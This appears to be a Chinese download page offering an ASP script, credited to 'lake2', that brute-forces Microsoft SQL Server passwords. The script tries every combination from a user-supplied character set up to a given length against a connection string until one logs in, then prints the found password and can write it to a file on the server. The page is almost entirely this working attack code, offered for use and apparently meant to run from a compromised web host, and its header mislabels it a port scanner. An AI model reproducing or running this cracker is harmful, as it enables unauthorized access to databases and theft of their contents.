【下载文档:  用asp实现MSSQL用户密码破解.txt 】

---

用ASP实现MSSQL用户密码破解
自己把以下代码保存为ASP文件。当然我还是一如既往的BS那些只改作者名字的家伙。 复制代码 代码如下:<% '============ ASP Port Scanner by lake2 =================== 'http://lake2.0x54.org 'Version: 0.1 'For SpringBoard '========================================================== %> <% Dim Password() If Request.Form("go") <> "1" Then %>

ConnStr:
Char:
Length:
Path: " size="50"> Enablel

<% Else timer1 = timer Server.ScriptTimeout = 7776000 ConnStr = Request.Form("Conn") Char = request.Form("char") LenChar = Len(Char) ReDim password(LenChar) For i = 1 to LenChar password(i) = Mid(Char, i, 1) Next length = CInt(request.Form("len")) Call LAKE("") response.Write "Done!
Process " & tTime & " s" If request.Form("CFile") <> "" Then CreateResult("Done!" & vbcrlf & tTime) End If Sub LAKE(str) If Len(str) >= length Then Exit Sub For j = 1 to LenChar pass = str & password(j) If Len(pass) = length Then Call Crack(pass) Call LAKE(pass) Next End Sub Sub Crack(str) On Error Resume Next Set conn = Server.CreateObject("ADODB.connection") conn.open Replace(ConnStr,"{PASS}",str) If Err Then If Err.Number <> -2147217843 Then response.Write(Err.Description & "
") response.End() End If Else response.Write("I Get it ! Password is " & str & "
Process " & tTime & " s") If request.Form("CFile") <> "" Then CreateResult(str & vbcrlf & tTime) response.End() End If End Sub Function tTime() timer2 = timer thetime=cstr(int(timer2-timer1)) tTime = thetime End Function Sub CreateResult(t) Set fs = CreateObject("Scripting.FileSystemObject") Set outfile = fs.CreateTextFile(request.Form("path")) outfile.WriteLine t Set fs = Nothing End Sub %>